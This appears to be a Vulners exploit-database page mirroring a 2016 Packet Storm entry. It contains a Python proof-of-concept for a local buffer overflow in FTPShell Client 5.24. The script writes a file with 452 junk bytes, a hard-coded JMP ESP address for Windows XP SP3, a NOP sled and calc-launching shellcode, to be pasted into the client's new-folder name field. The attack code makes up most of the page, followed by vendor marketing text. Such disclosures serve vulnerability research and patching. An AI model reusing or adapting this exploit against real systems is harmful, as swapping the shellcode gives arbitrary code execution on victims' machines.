Lucene search
K

FTPShell Client 5.24 Buffer Overflow

🗓️ 06 Feb 2016 00:00:00Reported by Arash KhazaeiType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 28 Views

FTPShell Client 5.24 Buffer Overflow vulnerability in Add New Folder functio

Code
`#[+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+]  
#[+] Exploit Title: FTPShell Client (Add New Folder) Local Buffer Overflow  
#[+] Date: 2/2/2016  
#[+]Exploit Author: Arash Khazaei  
#[+] Vendor Homepage: www.ftpshell.com  
#[+]Software Link: http://www.ftpshell.com/download.htm  
#[+] Version: 5.24  
#[+] Tested on: Windows XP Professional SP3 (Version 2002)  
#[+] CVE : N/A  
#[+] introduction : Add New Folder In Remote FTP Server And In Name Input Copy Buffer.txt File content   
#[+] or click on Remote Tab Then Click On Create Folder And Copy Buffer.txt In Name Input ...  
#[+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+]  
  
#!/usr/bin/python  
filename = "buffer.txt"  
# Junk A  
junk = "A"*452  
#77FAB277 JMP ESP  
# Windows Xp Professional Version 2002 Service Pack 3  
eip = "\x77\xB2\xFA\x77"  
# Nops  
nops = "\x90"*100  
# Shellcode Calc.exe 16Byte  
buf=("\x31\xC9"  
"\x51"   
"\x68\x63\x61\x6C\x63"   
"\x54"   
"\xB8\xC7\x93\xC2\x77"   
"\xFF\xD0")  
  
#Appending Buffers Together  
exploit = junk + eip + nops + buf  
#Creating File  
length = len(exploit)  
print "[+]File name: [%s]\n" % filename  
print "[+]Payload Size: [%s]\n " % length   
print "[+]File Created.\n"   
file = open(filename,"w")  
file.write(exploit)  
file.close  
print exploit  
  
  
#[+] Very Special Tnx To My Best Friends: TheNonexistent,Nirex,Pr0t3ctor  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Feb 2016 00:00Current
0.4Low risk
Vulners AI Score0.4
28